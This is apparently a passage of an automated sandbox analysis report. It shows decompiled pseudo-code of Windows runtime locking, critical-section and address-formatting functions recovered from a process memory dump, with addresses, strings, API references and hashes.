												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = E009A4FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												E009B3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												E009B3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E009E217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												E009B3F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E009A3915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E00985384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E0095F970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E009A3915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E0095F970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E009A3915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E0095F970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E009A3915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E00985329(_t110, _t138);
																_t69 = E009853A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x009a055a
0x009a055d
0x009a0563
0x009a0566
0x009a05d8
0x009a05e2
0x009a05e5
0x00000000
0x009a05e7
0x009a05e7
0x009a05ea
0x009a05f3
0x009a05f3
0x009a0568
0x009a0568
0x009a0568
0x009a0569
0x009a0569
0x009a0569
0x009a056b
0x00000000
0x00000000
0x009c217f
0x009c2183
0x009c225b
0x009c225f
0x009c2189
0x009c218c
0x009c218f
0x009c2194
0x009c2199
0x009c219d
0x009c21a0
0x009c21a2
0x009c21ce
0x009c21ce
0x009c21ce
0x009c21d0
0x009c21d6
0x009c21de
0x009c21e2
0x009c21e8
0x009c21e9
0x009c21ec
0x009c21f1
0x009c21f6
0x00000000
0x00000000
0x009c21f8
0x009c21fb
0x009c2206
0x009c220b
0x009c220c
0x009c2217
0x009c2226
0x009c222b
0x009c222c
0x009c222f
0x009c2232
0x009c2235
0x009c2235
0x009c223a
0x009c223f
0x009c2241
0x009c2243
0x009c2248
0x009c2248
0x009c224d
0x009c224f
0x009c2262
0x009c2263
0x009c2268
0x009c2269
0x009c2269
0x009c2269
0x009c226d
0x00000000
0x00000000
0x009c2276
0x009c2279
0x009c227e
0x009c2283
0x009c2287
0x009c228a
0x009c228d
0x009c228f
0x009c22bc
0x009c22bc
0x009c22bc
0x009c22be
0x009c22c4
0x009c22cc
0x009c22d0
0x009c22d6
0x009c22d7
0x009c22da
0x009c22df
0x009c22e4
0x00000000
0x00000000
0x009c22e6
0x009c22e9
0x009c22f4
0x009c22f9
0x009c22fa
0x009c2305
0x009c2314
0x009c2319
0x009c231a
0x009c231d
0x009c2320
0x009c2323
0x009c2323
0x009c2328
0x009c232d
0x009c232f
0x009c2331
0x009c2336
0x009c2336
0x009c233b
0x009c233d
0x009c2350
0x009c2351
0x009c2356
0x009c2359
0x009c2359
0x009c235b
0x009c235d
0x00985367
0x0098536b
0x00985372
0x00000000
0x00000000
0x00000000
0x00000000
0x009c2363
0x009c2363
0x009c2369
0x009c236a
0x009c236c
0x009c2371
0x009c2373
0x00000000
0x009c2379
0x009c2379
0x009c237a
0x009c237f
0x009c237f
0x009c2385
0x009c2386
0x009c2389
0x009c238e
0x009c2390
0x00985378
0x0098537c
0x009c2396
0x009c2396
0x009c2397
0x009c239c
0x009c23a2
0x009c23a3
0x009c23a6
0x009c23ab
0x009c23ad
0x00000000
0x009c23b3
0x009c23b3
0x009c23b4
0x009c23b9
0x009c23ba
0x009c23ba
0x009c23bc
0x009c23bf
0x00000000
0x00000000
0x009b9153
0x009b9158
0x009b915a
0x009b915e
0x009b9160
0x00000000
0x009b9166
0x009b9166
0x009b9171
0x009b9176
0x009b9176
0x00000000
0x009b9160
0x009c23c6
0x009c23ce
0x009c23d7
0x009c23d7
0x009c23ad
0x009c2390
0x009c2373
0x009c233f
0x009c233f
0x00000000
0x009c233f
0x009c2291
0x009c2291
0x009c2293
0x009c2295
0x009c229a
0x009c22a1
0x009c22a3
0x009c22a7
0x009c22a9
0x00000000
0x00000000
0x009c22ab
0x009c22ad
0x009c22af
0x00000000
0x00000000
0x00000000
0x009c22af
0x009c22b1
0x009c22b4
0x009c22b4
0x009c22b6
0x009853be
0x009853be
0x009853be
0x009853c0
0x00000000
0x00000000
0x009853cb
0x009853ce
0x009853d0
0x009853d4
0x009853d6
0x00000000
0x009853d8
0x009853e3
0x009853ea
0x009853ea
0x00000000
0x009853d6
0x00000000
0x00000000
0x00000000
0x00000000
0x009c22b6
0x00000000
0x009c228f
0x009c2349
0x009c234d
0x009c2251
0x009c2251
0x00000000
0x009c2251
0x009c21a4
0x009c21a4
0x009c21a6
0x009c21a8
0x009c21ac
0x009c21b6
0x009c21b8
0x009c21bc
0x009c21be
0x00000000
0x00000000
0x009c21c0
0x009c21c2
0x009c21c4
0x00000000
0x00000000
0x00000000
0x009c21c4
0x009c21c6
0x009c21c6
0x009c21c8
0x00000000
0x00000000
0x00000000
0x00000000
0x009c21c8
0x009c21a2
0x00000000
0x009c2183
0x009a057b
0x009a057d
0x009a0581
0x009a0583
0x009c2178
0x00000000
0x009a0589
0x009a058f
0x009a058f
0x009a0583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009C2206

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 009C22FC
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 009C220E
RTL: Resource at %p, xrefs: 009C221D, 009C230B
RTL: Re-Waiting, xrefs: 009C223A, 009C2328

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 2fdd6a20e395bda0fb9ae5ae99df20b9864aa2bbd5de9e0ee5ed67ccf3c25f90
Instruction ID: ee8ff7339e75f96c011b71acd0b669d87ac322bb7a2df781e91eaa2576f67882
Opcode Fuzzy Hash: 2fdd6a20e395bda0fb9ae5ae99df20b9864aa2bbd5de9e0ee5ed67ccf3c25f90
Instruction Fuzzy Hash: DC514631B442016FEB15CB19CC82FA633ADAFD5720F25822DFD59DB286DA35EC418B91

Uniqueness

Uniqueness Score: -1.00%

Function 009A14C0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E009A14C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0xa42088; // 0x77687fe7
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E00997707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E009A13CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E00997707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E00997707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E00962340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E0096E1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x009a14c0
0x009a14cb
0x009a14d2
0x009a14d6
0x009a14da
0x009a14de
0x009a14e3
0x009a157a
0x009a157a
0x009a14f1
0x009a14f3
0x009cea0f
0x00000000
0x009cea15
0x00000000
0x009cea15
0x009a14f9
0x009a14f9
0x009a14fe
0x009a1504
0x009cea1a
0x009cea1f
0x009cea21
0x009cea22
0x009cea27
0x009cea2a
0x009cea2a
0x009a1515
0x009a1517
0x009a156d
0x009a1572
0x009a1575
0x009a1575
0x009a151e
0x009cea50
0x009cea55
0x009cea58
0x009cea58
0x009a152e
0x009a1531
0x009a1533
0x00000000
0x009a1535
0x009a1541
0x009a1549
0x009a1549
0x009a1533
0x009a14f3
0x009a1559

APIs

___swprintf_l.LIBCMT ref: 009CEA22

Part of subcall function 009A13CB: ___swprintf_l.LIBCMT ref: 009A146B
Part of subcall function 009A13CB: ___swprintf_l.LIBCMT ref: 009A1490

___swprintf_l.LIBCMT ref: 009A156D

Strings

%%%u, xrefs: 009A1564
]:%u, xrefs: 009CEA47

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: bf408b586b2424854d2e25ff2059d0e630e318ce4dc58a086a32b8496d037699
Instruction ID: 4b0e5b8423cbd801a9ffbf5b61b07a893185394e5eef05ecac15c206bb4a008e
Opcode Fuzzy Hash: bf408b586b2424854d2e25ff2059d0e630e318ce4dc58a086a32b8496d037699
Instruction Fuzzy Hash: F0219172D00219AFCF21DE98CC41BEAB3ACAB95710F444565FC46D3140DB74EA588BE1

Uniqueness

Uniqueness Score: -1.00%

Function 009853A5, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E009853A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x00a401c0;
									_push(_t92);
									_push(0);
									_t37 = E0095F8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = E009A4FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									E009B3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									E009B3F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E009E217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E009B3F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E009A3915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E00985384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E0095F970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E009A3915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E0095F970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E009A3915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E0095F970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E009A3915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E00985329(_t74, _t92);
													_push(1);
													_t48 = E009853A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x009853ab
0x009853ae
0x009853b1
0x009853b4
0x009853b7
0x009a05b6
0x009a05c0
0x009a05c3
0x00000000
0x009a05c9
0x009a05c9
0x009a05cc
0x009a05d5
0x009a05d5
0x009853bd
0x009853bd
0x009853bd
0x009853be
0x009853be
0x009853be
0x009853c0
0x00000000
0x00000000
0x009c2269
0x009c226d
0x009c2349
0x009c234d
0x009c2273
0x009c2276
0x009c2279
0x009c227e
0x009c2283
0x009c2287
0x009c228a
0x009c228d
0x009c228f
0x009c22bc
0x009c22bc
0x009c22bc
0x009c22be
0x009c22c4
0x009c22cc
0x009c22d0
0x009c22d6
0x009c22d7
0x009c22da
0x009c22df
0x009c22e4
0x00000000
0x00000000
0x009c22e6
0x009c22e9
0x009c22f4
0x009c22f9
0x009c22fa
0x009c2305
0x009c2314
0x009c2319
0x009c231a
0x009c231d
0x009c2320
0x009c2323
0x009c2323
0x009c2328
0x009c232d
0x009c232f
0x009c2331
0x009c2336
0x009c2336
0x009c233b
0x009c233d
0x009c2350
0x009c2351
0x009c2356
0x009c2359
0x009c2359
0x009c235b
0x009c235d
0x00985367
0x0098536b
0x00985372
0x00000000
0x00000000
0x00000000
0x00000000
0x009c2363
0x009c2363
0x009c2369
0x009c236a
0x009c236c
0x009c2371
0x009c2373
0x00000000
0x009c2379
0x009c2379
0x009c237a
0x009c237f
0x009c237f
0x009c2385
0x009c2386
0x009c2389
0x009c238e
0x009c2390
0x00985378
0x0098537c
0x009c2396
0x009c2396
0x009c2397
0x009c239c
0x009c23a2
0x009c23a3
0x009c23a6
0x009c23ab
0x009c23ad
0x00000000
0x009c23b3
0x009c23b3
0x009c23b4
0x009c23b9
0x009c23ba
0x009c23ba
0x009c23bc
0x009c23bf
0x00000000
0x00000000
0x009b9153
0x009b9158
0x009b915a
0x009b915e
0x009b9160
0x00000000
0x009b9166
0x009b9166
0x009b9171
0x009b9176
0x009b9176
0x00000000
0x009b9160
0x009c23c6
0x009c23cb
0x009c23ce
0x009c23d7
0x009c23d7
0x009c23ad
0x009c2390
0x009c2373
0x009c233f
0x009c233f
0x00000000
0x009c233f
0x009c2291
0x009c2291
0x009c2293
0x009c2295
0x009c229a
0x009c22a1
0x009c22a3
0x009c22a7
0x009c22a9
0x00000000
0x00000000
0x009c22ab
0x009c22ad
0x009c22af
0x00000000
0x00000000
0x00000000
0x009c22af
0x009c22b1
0x009c22b4
0x009c22b4
0x009c22b6
0x00000000
0x00000000
0x00000000
0x00000000
0x009c22b6
0x009c228f
0x00000000
0x009c226d
0x009853cb
0x009853ce
0x009853d0
0x009853d4
0x009853d6
0x00000000
0x009853d8
0x009853e3
0x009853ea
0x009853ea
0x009853d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009C22F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 009C22FC
RTL: Resource at %p, xrefs: 009C230B
RTL: Re-Waiting, xrefs: 009C2328

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 4fb87f34b410594d901478e7fd91d4e8e9d8e5739116e207f172a2db5380423f
Instruction ID: b041027db05407bc7f7ad35f2c5f81615f61308bca5b523902f5e54c67f0ff89
Opcode Fuzzy Hash: 4fb87f34b410594d901478e7fd91d4e8e9d8e5739116e207f172a2db5380423f
Instruction Fuzzy Hash: AE515671A00701ABEB15EB28CC81FA7339CAFD5760F11422AFD19CB281EA74EC4587E0

Uniqueness

Uniqueness Score: -1.00%

Function 0098EC56, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0098EC56(void* __ecx, void* __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __esi;
				intOrPtr _t38;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t44;
				void* _t46;
				intOrPtr _t48;
				signed int _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				signed char _t67;
				void* _t72;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t93;

				_t80 = __edi;
				_t75 = __edx;
				_t70 = __ecx;
				_t84 = _a4;
				if( *((intOrPtr*)(_t84 + 0x10)) == 0) {
					E0097DA92(__ecx, __edx, __eflags, _t84);
					_t38 =  *((intOrPtr*)(_t84 + 0x10));
				}
				_push(0);
				__eflags = _t38 - 0xffffffff;
				if(_t38 == 0xffffffff) {
					_t39 =  *0xa4793c; // 0x0
					_push(0);
					_push(_t84);
					_t40 = E009616C0(_t39);
				} else {
					_t40 = E0095F9D4(_t38);
				}
				_pop(_t85);
				__eflags = _t40;
				if(__eflags < 0) {
					_push(_t40);
					E009A3915(_t67, _t70, _t75, _t80, _t85, __eflags);
					asm("int3");
					while(1) {
						L21:
						_t76 =  *[fs:0x18];
						_t42 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						__eflags =  *(_t42 + 0x240) & 0x00000002;
						if(( *(_t42 + 0x240) & 0x00000002) != 0) {
							_v36 =  *(_t85 + 0x14) & 0x00ffffff;
							_v66 = 0x1722;
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_t76 =  &_v72;
							_push( &_v72);
							_v28 = _t85;
							_v40 =  *((intOrPtr*)(_t85 + 4));
							_v32 =  *((intOrPtr*)(_t85 + 0xc));
							_push(0x10);
							_push(0x20402);
							E009601A4( *0x7ffe0382 & 0x000000ff);
						}
						while(1) {
							_t43 = _v8;
							_push(_t80);
							_push(0);
							__eflags = _t43 - 0xffffffff;
							if(_t43 == 0xffffffff) {
								_t71 =  *0xa4793c; // 0x0
								_push(_t85);
								_t44 = E00961F28(_t71);
							} else {
								_t44 = E0095F8CC(_t43);
							}
							__eflags = _t44 - 0x102;
							if(_t44 != 0x102) {
								__eflags = _t44;
								if(__eflags < 0) {
									_push(_t44);
									E009A3915(_t67, _t71, _t76, _t80, _t85, __eflags);
									asm("int3");
									E009E2306(_t85);
									__eflags = _t67 & 0x00000002;
									if((_t67 & 0x00000002) != 0) {
										_t7 = _t67 + 2; // 0x4
										_t72 = _t7;
										asm("lock cmpxchg [edi], ecx");
										__eflags = _t67 - _t67;
										if(_t67 == _t67) {
											E0098EC56(_t72, _t76, _t80, _t85);
										}
									}
									return 0;
								} else {
									__eflags = _v24;
									if(_v24 != 0) {
										 *((intOrPtr*)(_v12 + 0xf84)) = 0;
									}
									return 2;
								}
								goto L36;
							}
							_t77 =  *((intOrPtr*)(_t80 + 4));
							_push(_t67);
							_t46 = E009A4FC0( *_t80, _t77, 0xff676980, 0xffffffff);
							_push(_t77);
							E009B3F92(0x65, 1, "RTL: Enter Critical Section Timeout (%I64u secs) %d\n", _t46);
							_t48 =  *_t85;
							_t92 = _t91 + 0x18;
							__eflags = _t48 - 0xffffffff;
							if(_t48 == 0xffffffff) {
								_t49 = 0;
								__eflags = 0;
							} else {
								_t49 =  *((intOrPtr*)(_t48 + 0x14));
							}
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_push(_t49);
							_t50 = _v12;
							_t76 =  *((intOrPtr*)(_t50 + 0x24));
							_push(_t85);
							_push( *((intOrPtr*)(_t85 + 0xc)));
							_push( *((intOrPtr*)(_t50 + 0x24)));
							E009B3F92(0x65, 0, "RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu\n",  *((intOrPtr*)(_t50 + 0x20)));
							_t53 =  *_t85;
							_t93 = _t92 + 0x20;
							_t67 = _t67 + 1;
							__eflags = _t53 - 0xffffffff;
							if(_t53 != 0xffffffff) {
								_t71 =  *((intOrPtr*)(_t53 + 0x14));
								_a4 =  *((intOrPtr*)(_t53 + 0x14));
							}
							__eflags = _t67 - 2;
							if(_t67 > 2) {
								__eflags = _t85 - 0xa420c0;
								if(_t85 != 0xa420c0) {
									_t76 = _a4;
									__eflags = _a4 - _a8;
									if(__eflags == 0) {
										E009E217A(_t71, __eflags, _t85);
									}
								}
							}
							_push("RTL: Re-Waiting\n");
							_push(0);
							_push(0x65);
							_a8 = _a4;
							E009B3F92();
							_t91 = _t93 + 0xc;
							__eflags =  *0x7ffe0382;
							if( *0x7ffe0382 != 0) {
								goto L21;
							}
						}
						goto L36;
					}
				} else {
					return _t40;
				}
				L36:
			}

0x0098ec56
0x0098ec56
0x0098ec56
0x0098ec5c
0x0098ec64
0x009c23e6
0x009c23eb
0x009c23eb
0x0098ec6a
0x0098ec6c
